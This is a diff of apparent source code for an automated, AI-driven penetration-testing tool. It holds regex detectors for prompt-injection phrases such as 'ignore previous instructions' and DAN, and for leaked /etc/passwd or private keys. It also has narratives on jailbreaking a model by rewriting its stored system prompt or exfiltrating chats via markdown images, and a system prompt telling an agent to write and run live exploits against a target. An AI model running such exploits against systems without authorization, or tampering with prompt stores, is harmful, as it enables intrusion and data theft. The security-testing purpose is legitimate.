- /CHANGELOG\.txt/i,
1766
- /composer\.json/i,
1767
- /package\.json/i,
1768
- // CVE / version strings
1769
- /CVE-\d{4}-\d{4,7}/i,
1770
- /\?ver=[\d.]+/i,
1771
- /version[\s:=]+[\d]+\.[\d]+/i,
1772
- // Plugin slugs commonly seen
1773
- /contact-form-7/i,
1774
- /woocommerce/i,
1775
- /elementor/i,
1776
- /yoast/i,
1777
- /wp-file-manager/i,
1778
- /duplicator/i,
1779
- /ninja-forms/i
2934
+ /uid=\d+\([^)]+\)\s+gid=\d+/,
2935
+ /\broot:x:0:0:/,
2936
+ /Linux\s+[\w.-]+\s+\d+\.\d+\.\d+/,
2937
+ /^\/bin\/(bash|sh)/m,
2938
+ /PATH=[^\n]{5,}/,
2939
+ /^(usr|bin|etc|var|tmp|home|root)\b/m,
2940
+ /\bwhoami\b\s*[\r\n]+\s*\w+/i
1780
2941
  ]
1781
2942
  },
1782
- {
1783
- type: "prompt_injection",
2943
+ "code-injection": {
2944
+ label: "Code injection: arbitrary code output in response",
1784
2945
  patterns: [
1785
- /prompt.?inject/i,
1786
- /ignore (?:all |the |your )?(?:previous|prior|above) instructions/i,
1787
- /system prompt/i,
1788
- /jailbreak/i,
1789
- /\bLLM\b/,
1790
- /chatbot/i,
1791
- /\bassistant\b/i,
1792
- /role[:=]\s*system/i,
1793
- /you are (?:a|an|now)/i,
1794
- /\bDAN\b/
2946
+ /uid=\d+\([^)]+\)/,
2947
+ /\broot:x:0:0:/,
2948
+ /__import__|eval\(|exec\(/,
2949
+ /\bpython\d?\b.*traceback/i
1795
2950
  ]
1796
2951
  },
1797
- {
1798
- type: "rag_poisoning",
2952
+ "path-traversal": {
2953
+ label: "LFI: sensitive file contents in response",
1799
2954
  patterns: [
1800
- /\bRAG\b/,
1801
- /retrieval.augmented/i,
1802
- /knowledge\s*base/i,
1803
- /vector\s*(?:store|db|database)/i,
1804
- /embedding/i,
1805
- /\bretriev/i,
1806
- /(?:upload|add|index|ingest).*(?:document|doc|file)/i,
1807
- /context\s*(?:window|poison)/i,
1808
- /ask (?:my|your) docs/i,
1809
- /semantic search/i
2955
+ /\broot:x:0:0:/,
2956
+ /\bdaemon:x:\d+:\d+:/,
2957
+ /\[boot loader\]/i,
2958
+ /-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
2959
+ /\/etc\/shadow/
1810
2960
  ]
1811
2961
  },
1812
- {
1813
- type: "insecure_output_handling",
2962
+ "information-disclosure": {
2963
+ label: "IDOR / info disclosure: access to restricted data",
1814
2964
  patterns: [
1815
- /!\[[^\]]*\]\(https?:\/\//,
1816
- // markdown image
1817
- /render(?:ed|s)?.*(?:markdown|html|output)/i,
1818
- /\bXSS\b/,
1819
- /innerHTML/i,
1820
- /dangerouslySetInnerHTML/i,
1821
- /output.*(?:render|execut|eval)/i,
1822
- /<img[^>]+onerror/i,
1823
- /<script/i,
1824
- /unescap/i,
1825
- /link\s*(?:preview|unfurl)/i
2965
+ /"(email|password|ssn|credit_?card|api[_-]?key|token)"\s*:/i,
2966
+ /\broot:x:0:0:/,
2967
+ /-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
2968
+ /user\s*id\s*[:=]\s*\d+/i
1826
2969
  ]
1827
2970
  },
1828
- {
1829
- type: "excessive_agency",
2971
+ "heap-overflow": {
2972
+ label: "Heap overflow: KASAN out-of-bounds or crash evidence",
1830
2973
  patterns: [
1831
- /excessive.agency/i,
1832
- /function.call/i,
1833
- /tool.use/i,
1834
- /\bplugin/i,
1835
- /\bMCP\b/,
1836
- /\bagent\b/i,
1837
- /(?:send|delete|transfer|execute|invoke).*(?:tool|function|action)/i,
1838
- /tool[_-]?call/i,
1839
- /autonomous/i,
1840
- /human.in.the.loop/i
2974
+ /BUG:\s*KASAN:\s*(slab-)?out-of-bounds/i,
2975
+ /heap-buffer-overflow/i,
2976
+ /\bKASAN\b.*\b(read|write)\b.*\bsize\s+\d+\b/i,
2977
+ /allocated by task/i,
2978
+ /Oops:.*\[#\d+\]/
1841
2979
  ]
1842
2980
  },
1843
- {
1844
- // AI prompt-layer write target (0#775). Fires when a DB foothold
1845
- // coincides with LLM-app + prompt-store signals: the system prompt /
1846
- // guardrails / model config live in a writable DB row. Distinct from
1847
- // rag_poisoning (writable retrieval docs) — this is the *control* layer.
1848
- type: "prompt_layer_write",
2981
+ "use-after-free": {
2982
+ label: "UAF: KASAN use-after-free or freed-object access",
1849
2983
  patterns: [
1850
- /system[_\s-]?prompt/i,
1851
- /\bguardrail/i,
1852
- /prompt[_\s-]?template/i,
1853
- /\bpersona\b/i,
1854
- /assistant[_\s-]?config/i,
1855
- /agent[_\s-]?config/i,
1856
- /model[_\s-]?config/i,
1857
- /safety[_\s-]?settings/i,
1858
- /\bllm[_\s-]?settings/i,
1859
- /\bLLM\b/,
1860
- /\bchatbot\b/i,
1861
- /you are (?:a|an|now)/i,
1862
- // DB-foothold co-signals
1863
- /\bSQLi\b/i,
1864
- /information_schema/i,
1865
- /SHOW\s+TABLES/i,
1866
- /\bUPDATE\s+\w+\s+SET/i,
1867
- /getCollectionNames/i,
1868
- /\bGRANT\b/i,
1869
- /\bUPDATE\b.*privilege/i
2984
+ /BUG:\s*KASAN:\s*(slab-)?use-after-free/i,
2985
+ /Freed by task/i,
2986
+ /\buse-after-free\b/i,
2987
+ /\bKASAN\b.*\bfreed\b/i,
2988
+ /allocated by task.*\nfreed by task/is
1870
2989
  ]
1871
2990
  },
1872
- {
1873
- // Rust / userspace memory-safety + sandbox-escape (0#696, Monty-mode).
1874
- // Fires on Rust unsafe / FFI surface, memory-corruption signals (sanitizer
1875
- // and miri output, GC-root / refcount language), and the language-runtime
1876
- // sandbox context the round-1 UAF lived in.
1877
- type: "rust_memsafety",
2991
+ "stack-buffer-overflow": {
2992
+ label: "Stack overflow: KASAN stack-out-of-bounds",
1878
2993
  patterns: [
1879
- /\bunsafe\b/i,
1880
- /\bPyO3\b/i,
1881
- /\bcargo[\s-]?fuzz\b/i,
1882
- /\blibfuzzer\b/i,
1883
- /\bmiri\b/i,
1884
- /AddressSanitizer/i,
1885
- /\bASAN\b/i,
1886
- /\bUBSAN\b/i,
1887
- /heap-use-after-free/i,
1888
- /use[\s-]?after[\s-]?free/i,
1889
- /double[\s-]?free/i,
1890
- /type[\s-]?confusion/i,
1891
- /\btransmute\b/i,
1892
- /from_raw\b/i,
1893
- /\bPy_(?:INCREF|DECREF)\b/i,
1894
- /\brefcount\b/i,
1895
- /\bgc[\s_-]?root\b/i,
1896
- /gc\.collect\(/i,
1897
- /garbage collector/i,
1898
- /\.rs\b/,
1899
- /\bcargo\b/i,
1900
- /\bsegfault\b/i,
1901
- /sandbox escape/i
2994
+ /BUG:\s*KASAN:\s*stack-out-of-bounds/i,
2995
+ /stack-buffer-overflow/i,
2996
+ /\bKASAN\b.*\bstack\b/i
1902
2997
  ]
1903
- }
1904
- ];
1905
- function detectPlaybooks(toolResultTexts) {
1906
- const combined = toolResultTexts.join("\n");
1907
- const scores = /* @__PURE__ */ new Map();
1908
- for (const indicator of INDICATORS) {
1909
- let matchCount = 0;
1910
- for (const pattern of indicator.patterns) {
1911
- if (pattern.test(combined)) {
1912
- matchCount++;
1913
- }
1914
- }
1915
- if (matchCount >= 2) {
1916
- scores.set(indicator.type, matchCount);
1917
- }
1918
- }
1919
- return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
1920
- }
1921
- function buildPlaybookInjection(types) {
1922
- const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
1923
- if (sections.length === 0)
1924
- return "";
1925
- return [
1926
- "## Dynamic Playbook Injection",
1927
- "",
1928
- "Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
1929
- "Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
1930
- "",
1931
- ...sections
1932
- ].join("\n");
1933
- }
1934
- var PROMPT_LAYER_IMPACT_RULES = [
1935
- {
1936
- impact: "guardrail_removal",
2998
+ },
2999
+ "null-pointer-deref": {
3000
+ label: "Null deref: kernel NULL pointer dereference",
1937
3001
  patterns: [
1938
- /\bguardrail/i,
1939
- /safety[_\s-]?settings?/i,
1940
- /\bmoderation\b/i,
1941
- /\bpolicy\b/i,
1942
- /\brefus/i,
1943
- /\bnever (?:reveal|disclose|share|answer)/i,
1944
- /you must (?:refuse|not)/i,
1945
- /content[_\s-]?filter/i
3002
+ /BUG:\s*kernel NULL pointer dereference/i,
3003
+ /unable to handle kernel NULL pointer/i,
3004
+ /general protection fault.*0000/i,
3005
+ /Oops:.*\[#\d+\]/,
3006
+ /IP:.*\+0x/
1946
3007
  ]
1947
3008
  },
1948
- {
1949
- impact: "output_channel_exfil",
3009
+ "integer-overflow": {
3010
+ label: "Integer overflow: UBSAN or arithmetic overflow",
1950
3011
  patterns: [
1951
- /output[_\s-]?(?:channel|template|format)/i,
1952
- /webhook/i,
1953
- /\bcallback\b/i,
1954
- /markdown/i,
1955
- /!\[[^\]]*\]\(https?:\/\//,
1956
- /append .*(?:url|link|http)/i
3012
+ /UBSAN:\s*(shift|integer|array)/i,
3013
+ /signed integer overflow/i,
3014
+ /unsigned integer overflow/i,
3015
+ /shift.*out of range/i,
3016
+ /division by zero/i
1957
3017
  ]
1958
3018
  },
1959
- {
1960
- impact: "model_config_tamper",
3019
+ "race-condition": {
3020
+ label: "Race: RCU stall or lock dependency violation",
1961
3021
  patterns: [
1962
- /model[_\s-]?(?:config|name|id)/i,
1963
- /\btemperature\b/i,
1964
- /\btop[_\s-]?p\b/i,
1965
- /\bmax[_\s-]?tokens\b/i,
1966
- /tool[_\s-]?(?:config|choice|s)\b/i,
1967
- /function[_\s-]?(?:config|call)/i,
1968
- /assistant[_\s-]?config/i,
1969
- /agent[_\s-]?config/i
3022
+ /rcu.*stall/i,
3023
+ /INFO:\s*possible circular locking/i,
3024
+ /WARNING:.*lockdep/i,
3025
+ /DEADLOCK/i,
3026
+ /inconsistent lock state/i
1970
3027
  ]
1971
3028
  },
1972
- {
1973
- impact: "prompt_poisoning",
3029
+ "double-free": {
3030
+ label: "Double free: KASAN double-free detection",
1974
3031
  patterns: [
1975
- /system[_\s-]?prompt/i,
1976
- /prompt[_\s-]?template/i,
1977
- /\bprompts?\b/i,
1978
- /\binstructions?\b/i,
1979
- /\bpersona\b/i,
1980
- /you are (?:a|an|now|the)/i
3032
+ /BUG:\s*KASAN:\s*double-free/i,
3033
+ /KASAN.*double.?free/i,
3034
+ /Object already free/i
3035
+ ]
3036
+ },
3037
+ "type-confusion": {
3038
+ label: "Type confusion: invalid cast or type mismatch",
3039
+ patterns: [
3040
+ /UBSAN:\s*member access.*type/i,
3041
+ /type.*confusion/i,
3042
+ /invalid.*downcast/i,
3043
+ /load of misaligned address/i
1981
3044
  ]
1982
3045
  }
1983
- ];
1984
- function looksLikePromptLayer(haystack) {
1985
- return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
3046
+ };
3047
+ function judgePovEvidence(finding, executionEvidence) {
3048
+ const judge = CATEGORY_JUDGES[finding.category];
3049
+ if (judge) {
3050
+ for (const pat of judge.patterns) {
3051
+ const m = executionEvidence.match(pat);
3052
+ if (m) {
3053
+ return { passed: true, matchedPattern: m[0], label: judge.label };
3054
+ }
3055
+ }
3056
+ return { passed: false, label: judge.label };
3057
+ }
3058
+ const generic = [
3059
+ /uid=\d+\([^)]+\)/,
3060
+ /\broot:x:0:0:/,
3061
+ /flag\{[^}]+\}/i,
3062
+ /-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
3063
+ /HTTP\/\d\.\d\s+200\s+OK[\s\S]{0,2000}password/i
3064
+ ];
3065
+ for (const pat of generic) {
3066
+ const m = executionEvidence.match(pat);
3067
+ if (m) {
3068
+ return {
3069
+ passed: true,
3070
+ matchedPattern: m[0],
3071
+ label: "generic exploitation proof"
3072
+ };
3073
+ }
3074
+ }
3075
+ return { passed: false, label: "no category-specific proof" };
1986
3076
  }
1987
- function classifyPromptLayerImpact(asset) {
1988
- const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
1989
- const isPromptLayer = looksLikePromptLayer(haystack);
1990
- if (!isPromptLayer) {
3077
+ function buildPovSystemPrompt(finding, target, maxTurns) {
3078
+ return `You are the PoV (Proof-of-Vulnerability) agent.
3079
+
3080
+ You have ONE JOB: demonstrate that this finding is actually exploitable by
3081
+ RUNNING a working exploit against the target and capturing output that
3082
+ proves the vulnerability is real.
3083
+
3084
+ # Target
3085
+ ${target}
3086
+
3087
+ # Finding under test
3088
+ - id: ${finding.id}
3089
+ - title: ${finding.title}
3090
+ - category: ${finding.category}
3091
+ - severity: ${finding.severity}
3092
+
3093
+ # Evidence from the original agent
3094
+ Request:
3095
+ ${(finding.evidence.request ?? "").slice(0, 2e3)}
3096
+
3097
+ Response:
3098
+ ${(finding.evidence.response ?? "").slice(0, 2e3)}
3099
+
3100
+ Analysis:
3101
+ ${(finding.evidence.analysis ?? "").slice(0, 1e3)}
3102
+
3103
+ # Rules (these override any general instincts)
3104
+ 1. You MUST produce a CONCRETE, EXECUTABLE exploit (curl/python/bash/js).
3105
+ 2. You MUST actually RUN it via the \`bash\` or \`http_request\` tool and
3106
+ capture the response.
3107
+ 3. The captured response MUST contain category-specific proof of
3108
+ exploitation (extracted data, /etc/passwd, uid=0, reflected <script>,
3109
+ 169.254.169.254 metadata, etc.). A 200 OK alone is NOT proof.
3110
+ 4. DO NOT speculate, DO NOT describe what would happen, DO NOT paraphrase.
3111
+ If you cannot run it and see real proof, call \`give_up\`.
3112
+ 5. When you have working proof, call \`submit_pov\` ONCE with the exact
3113
+ artifact and the exact output.
3114
+ 6. You have at most ${maxTurns} turns. Be decisive.
3115
+
3116
+ # Accepted proof by category
3117
+ - sql-injection: extracted rows, version strings, SQL error, union select data
3118
+ - xss: <script> reflected unencoded, or dialog fired
3119
+ - ssrf: 169.254.169.254 or internal network response
3120
+ - command-injection / code-injection: uid=, /etc/passwd, kernel version
3121
+ - path-traversal: /etc/passwd, shadow, private keys
3122
+ - information-disclosure: sensitive fields (password, api_key, tokens)
3123
+
3124
+ Start by writing the exploit and running it. No preamble.`;
3125
+ }
3126
+ var MAX_OUTPUT_CHARS = 8e3;
3127
+ var BASH_TIMEOUT_MS = 15e3;
3128
+ function clip(s) {
3129
+ if (s.length <= MAX_OUTPUT_CHARS)
3130
+ return s;
3131
+ return `${s.slice(0, MAX_OUTPUT_CHARS)}
3132
+ \u2026[truncated ${s.length - MAX_OUTPUT_CHARS} chars]`;
3133
+ }
3134
+ async function runBash(command) {
3135
+ try {
3136
+ const { stdout, stderr } = await execFileAsync("bash", ["-lc", command], {
3137
+ timeout: BASH_TIMEOUT_MS,
3138
+ maxBuffer: 2 * 1024 * 1024
3139
+ });
3140
+ return clip(`$ ${command}
3141
+ ${stdout}${stderr ? `
3142
+ [stderr]
3143
+ ${stderr}` : ""}`);
3144
+ } catch (err) {
3145
+ const e = err;
3146
+ return clip(`$ ${command}
3147
+ [error] ${e.message}
3148
+ ${e.stdout ?? ""}${e.stderr ?? ""}`);
3149
+ }
3150
+ }
3151
+ async function runHttp(input) {
3152
+ const url = String(input.url ?? "");
3153
+ const method = String(input.method ?? "GET");
3154
+ const body = input.body !== void 0 ? String(input.body) : void 0;
3155
+ const headers = input.headers ?? {};
3156
+ if (!url)
3157
+ return "[error] url is required";
3158
+ try {
3159
+ const res = await fetch(url, {
3160
+ method,
3161
+ headers,
3162
+ body
3163
+ });
3164
+ const text = await res.text();
3165
+ return clip(`HTTP/${res.status} ${method} ${url}
3166
+ ${text}`);
3167
+ } catch (err) {
3168
+ return clip(`[error] fetch ${url}: ${err.message}`);
3169
+ }
3170
+ }
3171
+ function isOracleInfraError(reason) {
3172
+ return /\b(failed|error|threw|exception|unavailable|timed? ?out)\b/i.test(reason);
3173
+ }
3174
+ async function generatePov(finding, target, runtime, maxTurns = 5, opts = {}) {
3175
+ const oracleKind = oracleForCategory(finding.category);
3176
+ const system = buildPovSystemPrompt(finding, target, maxTurns);
3177
+ const messages = [
3178
+ {
3179
+ role: "user",
3180
+ content: [
3181
+ {
3182
+ type: "text",
3183
+ text: "Build and run a working PoC for the finding above. Remember: real execution, real output, no speculation."
3184
+ }
3185
+ ]
3186
+ }
3187
+ ];
3188
+ const judge = opts.judge ?? judgePovEvidence;
3189
+ let submitted = null;
3190
+ let gaveUpReason = null;
3191
+ let turnsUsed = 0;
3192
+ for (let turn = 1; turn <= maxTurns; turn++) {
3193
+ turnsUsed = turn;
3194
+ const result = await runtime.executeNative(system, messages, POV_TOOLS);
3195
+ if (result.error) {
3196
+ return {
3197
+ hasPov: false,
3198
+ povArtifact: null,
3199
+ artifactType: "none",
3200
+ executionEvidence: "",
3201
+ confidence: 0,
3202
+ turnsUsed,
3203
+ reason: `runtime error: ${result.error}`,
3204
+ oracle: oracleKind
3205
+ };
3206
+ }
3207
+ messages.push({ role: "assistant", content: result.content });
3208
+ const toolUseBlocks = result.content.filter((b) => b.type === "tool_use");
3209
+ if (toolUseBlocks.length === 0) {
3210
+ messages.push({
3211
+ role: "user",
3212
+ content: [
3213
+ {
3214
+ type: "text",
3215
+ text: "No tool call detected. Either RUN the exploit via `bash`/`http_request` and then call `submit_pov`, or call `give_up`. No speculation."
3216
+ }
3217
+ ]
3218
+ });
3219
+ continue;
3220
+ }
3221
+ const toolResults = [];
3222
+ for (const block of toolUseBlocks) {
3223
+ let output;
3224
+ switch (block.name) {
3225
+ case "bash": {
3226
+ const cmd = String(block.input.command ?? "");
3227
+ output = opts.disableBash ? `[bash disabled in test mode] would run: ${cmd}` : await runBash(cmd);
3228
+ break;
3229
+ }
3230
+ case "http_request": {
3231
+ output = opts.disableHttp ? `[http disabled in test mode] would fetch: ${JSON.stringify(block.input)}` : await runHttp(block.input);
3232
+ break;
3233
+ }
3234
+ case "submit_pov": {
3235
+ const art = String(block.input.artifact ?? "");
3236
+ const ev = String(block.input.execution_evidence ?? "");
3237
+ const at = String(block.input.artifact_type ?? "bash");
3238
+ submitted = {
3239
+ artifact: art,
3240
+ execution_evidence: ev,
3241
+ artifact_type: ["curl", "python", "javascript", "bash"].includes(at) ? at : "bash"
3242
+ };
3243
+ output = "submitted";
3244
+ break;
3245
+ }
3246
+ case "give_up": {
3247
+ gaveUpReason = String(block.input.reason ?? "agent gave up");
3248
+ output = "acknowledged";
3249
+ break;
3250
+ }
3251
+ default:
3252
+ output = `[error] unknown tool ${block.name}`;
3253
+ }
3254
+ toolResults.push({
3255
+ type: "tool_result",
3256
+ tool_use_id: block.id,
3257
+ content: output
3258
+ });
3259
+ }
3260
+ messages.push({ role: "user", content: toolResults });
3261
+ if (submitted)
3262
+ break;
3263
+ if (gaveUpReason)
3264
+ break;
3265
+ }
3266
+ if (gaveUpReason) {
1991
3267
  return {
1992
- isPromptLayer: false,
1993
- impacts: [],
1994
- severity: "info",
1995
- narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
3268
+ hasPov: false,
3269
+ povArtifact: null,
3270
+ artifactType: "none",
3271
+ executionEvidence: "",
3272
+ confidence: 0,
3273
+ turnsUsed,
3274
+ reason: `agent gave up: ${gaveUpReason}`,
3275
+ oracle: oracleKind
1996
3276
  };
1997
3277
  }
1998
- const impacts = [];
1999
- for (const rule of PROMPT_LAYER_IMPACT_RULES) {
2000
- if (rule.patterns.some((p) => p.test(haystack))) {
2001
- impacts.push(rule.impact);
2002
- }
3278
+ if (!submitted) {
3279
+ return {
3280
+ hasPov: false,
3281
+ povArtifact: null,
3282
+ artifactType: "none",
3283
+ executionEvidence: "",
3284
+ confidence: 0,
3285
+ turnsUsed,
3286
+ reason: turnsUsed >= maxTurns ? `max turns (${maxTurns}) exceeded without a working PoC` : "agent exited without submitting a PoC",
3287
+ oracle: oracleKind
3288
+ };
2003
3289
  }
2004
- if (!asset.writable) {
3290
+ if (oracleKind !== "regex-fallback") {
3291
+ return adjudicateWithOracle(finding, target, submitted, turnsUsed, maxTurns, oracleKind, opts);
3292
+ }
3293
+ const verdict = judge(finding, submitted.execution_evidence);
3294
+ if (!verdict.passed) {
2005
3295
  return {
2006
- isPromptLayer: true,
2007
- impacts: [],
2008
- severity: "low",
2009
- narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
3296
+ hasPov: false,
3297
+ povArtifact: submitted.artifact || null,
3298
+ artifactType: submitted.artifact_type,
3299
+ executionEvidence: submitted.execution_evidence,
3300
+ confidence: 0.2,
3301
+ turnsUsed,
3302
+ reason: `submitted PoC did not contain category-specific proof (${verdict.label})`,
3303
+ oracle: "regex-fallback"
2010
3304
  };
2011
3305
  }
2012
- const reRead = asset.reReadAtInference === true;
2013
- const severity = reRead ? "high" : "low";
2014
- const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
2015
- const narrative = [
2016
- `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
2017
- reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
2018
- `Impact class(es): ${impacts.join(", ")}.`,
2019
- ...impactLabels.map((l) => `- ${l}`),
2020
- "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
2021
- ].join("\n");
2022
- return { isPromptLayer: true, impacts, severity, narrative };
3306
+ const confidence = Math.max(0.7, 1 - (turnsUsed - 1) * (0.3 / Math.max(1, maxTurns - 1)));
3307
+ return {
3308
+ hasPov: true,
3309
+ povArtifact: submitted.artifact,
3310
+ artifactType: submitted.artifact_type,
3311
+ executionEvidence: submitted.execution_evidence,
3312
+ confidence,
3313
+ turnsUsed,
3314
+ reason: `PoV confirmed: ${verdict.label}${verdict.matchedPattern ? ` (matched: ${verdict.matchedPattern.slice(0, 80)})` : ""}`,
3315
+ oracle: "regex-fallback"
3316
+ };
2023
3317
  }
2024
- var IMPACT_NARRATIVE = {
2025
- prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
2026
- guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
2027
- output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
2028
- model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
2029
- };
2030
- function describeAsset(asset) {
2031
- const loc = [asset.table, asset.column].filter(Boolean).join(".");
2032
- return loc || "unnamed asset";
3318
+ async function adjudicateWithOracle(finding, target, submitted, turnsUsed, maxTurns, oracleKind, opts) {
3319
+ const runOracle = opts.oracle ?? verifyOracleByCategory;
3320
+ let oracleResult;
3321
+ try {
3322
+ oracleResult = opts.precomputedOracle ?? await runOracle(finding, target);
3323
+ } catch (err) {
3324
+ return {
3325
+ hasPov: false,
3326
+ povArtifact: submitted.artifact || null,
3327
+ artifactType: submitted.artifact_type,
3328
+ executionEvidence: submitted.execution_evidence,
3329
+ confidence: 0,
3330
+ turnsUsed,
3331
+ reason: `oracle (${oracleKind}) errored, inconclusive: ${err.message}`,
3332
+ oracle: oracleKind,
3333
+ inconclusive: true
3334
+ };
3335
+ }
3336
+ if (oracleResult.verified) {
3337
+ const speed = Math.max(0.7, 1 - (turnsUsed - 1) * (0.3 / Math.max(1, maxTurns - 1)));
3338
+ return {
3339
+ hasPov: true,
3340
+ povArtifact: submitted.artifact,
3341
+ artifactType: submitted.artifact_type,
3342
+ // Prefer the oracle's reproduced evidence; keep the agent's as context.
3343
+ executionEvidence: oracleResult.evidence || submitted.execution_evidence,
3344
+ confidence: Math.min(speed, oracleResult.confidence || speed),
3345
+ turnsUsed,
3346
+ reason: `PoV confirmed by ${oracleKind} oracle: ${oracleResult.evidence}`,
3347
+ oracle: oracleKind
3348
+ };
3349
+ }
3350
+ if (oracleResult.inconclusive || isOracleInfraError(oracleResult.reason)) {
3351
+ return {
3352
+ hasPov: false,
3353
+ povArtifact: submitted.artifact || null,
3354
+ artifactType: submitted.artifact_type,
3355
+ executionEvidence: submitted.execution_evidence,
3356
+ confidence: 0,
3357
+ turnsUsed,
3358
+ reason: `oracle (${oracleKind}) inconclusive: ${oracleResult.reason}`,
3359
+ oracle: oracleKind,
3360
+ inconclusive: true
3361
+ };
3362
+ }
3363
+ return {
3364
+ hasPov: false,
3365
+ povArtifact: submitted.artifact || null,
3366
+ artifactType: submitted.artifact_type,
3367
+ executionEvidence: submitted.execution_evidence,
3368
+ confidence: 0,
3369
+ turnsUsed,
3370
+ reason: `${oracleKind} oracle did not reproduce the exploit: ${oracleResult.reason}`,
3371
+ oracle: oracleKind
3372
+ };
3373
+ }
3374
+ var MEMCORRUPTION_CRASH_KINDS = /* @__PURE__ */ new Set([
3375
+ "asan",
3376
+ "ubsan",
3377
+ "msan",
3378
+ "miri",
3379
+ "segfault"
3380
+ ]);
3381
+ function isReproducedMemCorruption(crash) {
3382
+ return Boolean(crash.inputPath) && MEMCORRUPTION_CRASH_KINDS.has(crash.kind) && Boolean(crash.rawOutput && crash.rawOutput.trim().length > 0);
3383
+ }
3384
+ function memCorruptionVerdict(crash) {
3385
+ const reproduced = isReproducedMemCorruption(crash);
3386
+ const exploit = classifyUserspacePrimitive(crash);
3387
+ if (!reproduced) {
3388
+ return {
3389
+ verdict: "inconclusive",
3390
+ confidence: 0,
3391
+ reasoning: `Crash artifact (kind=${crash.kind}) is not a reproduced memory-corruption PoC \u2014 ${crash.inputPath ? "no sanitizer/Miri corruption signature" : "no saved reproducing input"}. Inconclusive, not a rejection.`,
3392
+ signals: [
3393
+ {
3394
+ name: "memcorruption_repro",
3395
+ passed: false,
3396
+ confidence: 0,
3397
+ reasoning: `kind=${crash.kind}, primitive=${exploit.primitive}, savedInput=${Boolean(crash.inputPath)}`
3398
+ }
3399
+ ]
3400
+ };
3401
+ }
3402
+ const gate = reproConfidence(crash);
3403
+ return {
3404
+ verdict: "confirmed",
3405
+ confidence: gate.confidence,
3406
+ reasoning: `Reproduced under the sanitizer/Miri build (kind=${crash.kind}): ${exploit.primitive} (${exploit.readWrite}). ${exploit.rationale}${gate.note}`,
3407
+ signals: [
3408
+ {
3409
+ name: "memcorruption_repro",
3410
+ passed: true,
3411
+ confidence: gate.confidence,
3412
+ reasoning: `signature=${crash.signature}, input=${crash.inputPath}` + (crash.reproConfirmations != null ? `, repro=${crash.reproConfirmations}/${crash.reproAttempts ?? crash.reproConfirmations}` : "")
3413
+ }
3414
+ ],
3415
+ evidenceKind: "reproduced-memcorruption-poc"
3416
+ };
3417
+ }
3418
+ function reproConfidence(crash) {
3419
+ const n = crash.reproConfirmations;
3420
+ if (n == null)
3421
+ return { confidence: 0.95, note: "" };
3422
+ if (n >= 2) {
3423
+ const attempts = crash.reproAttempts ?? n;
3424
+ return { confidence: 0.95, note: ` Reproduced ${n}/${attempts}\xD7 (N\xD7 confirmed).` };
3425
+ }
3426
+ if (n === 1) {
3427
+ const attempts = crash.reproAttempts ?? 1;
3428
+ return {
3429
+ confidence: 0.82,
3430
+ note: attempts > 1 ? ` Reproduced only 1/${attempts}\xD7 \u2014 flaky-repro risk; re-run to confirm before relying on it.` : ` Single-shot reproduction (N=1) \u2014 re-run to rule out an environment fluke.`
3431
+ };
3432
+ }
3433
+ return { confidence: 0.82, note: " Reproduction count is 0 \u2014 treat as unconfirmed flake." };
3434
+ }
3435
+
3436
+ // packages/core/dist/stages/memsafety-scan.js
3437
+ function memPrimitiveToCategory(primitive) {
3438
+ switch (primitive) {
3439
+ case "use-after-free":
3440
+ return "use-after-free";
3441
+ case "double-free":
3442
+ return "double-free";
3443
+ case "heap-oob-read":
3444
+ return "out-of-bounds-read";
3445
+ case "heap-oob-write":
3446
+ return "out-of-bounds-write";
3447
+ case "stack-oob":
3448
+ return "stack-buffer-overflow";
3449
+ case "type-confusion":
3450
+ return "type-confusion";
3451
+ case "uninit-read":
3452
+ return "uninitialized-memory";
3453
+ case "null-deref":
3454
+ return "null-deref";
3455
+ case "integer-overflow":
3456
+ return "integer-overflow";
3457
+ case "unknown":
3458
+ return "other";
3459
+ }
3460
+ }
3461
+ function crashArtifactToFinding(crash, target, exploitability, verdict) {
3462
+ const severity = exploitability.severity;
3463
+ const category = memPrimitiveToCategory(exploitability.primitive);
3464
+ const stackSummary = (crash.stack ?? []).slice(0, 5).join(" \u2192 ");
3465
+ const reproducerRef = crash.artifactRef ?? crash.inputPath;
3466
+ const reproduced = verdict.verdict === "confirmed";
3467
+ const description = [
3468
+ `Userspace ${crash.kind} crash in ${target.language} target (${target.sourceRoot}).`,
3469
+ `Primitive: ${exploitability.primitive} (op=${exploitability.readWrite}, controllable=${exploitability.controllable}).`,
3470
+ stackSummary ? `Stack: ${stackSummary}.` : "",
3471
+ reproducerRef ? `Reproducing input: ${reproducerRef}.` : "",
3472
+ reproduced ? "Reproduced under the sanitizer/Miri build (memory-corruption PoC)." : "Observed crash; not yet a reproduced memory-corruption PoC (inconclusive \u2014 not a rejection)."
3473
+ ].filter(Boolean).join("\n");
3474
+ const analysisLines = [
3475
+ `Crash kind: ${crash.kind}`,
3476
+ `Signature: ${crash.signature}`,
3477
+ `Category: ${category}`,
3478
+ `Build system: ${target.buildSystem}`,
3479
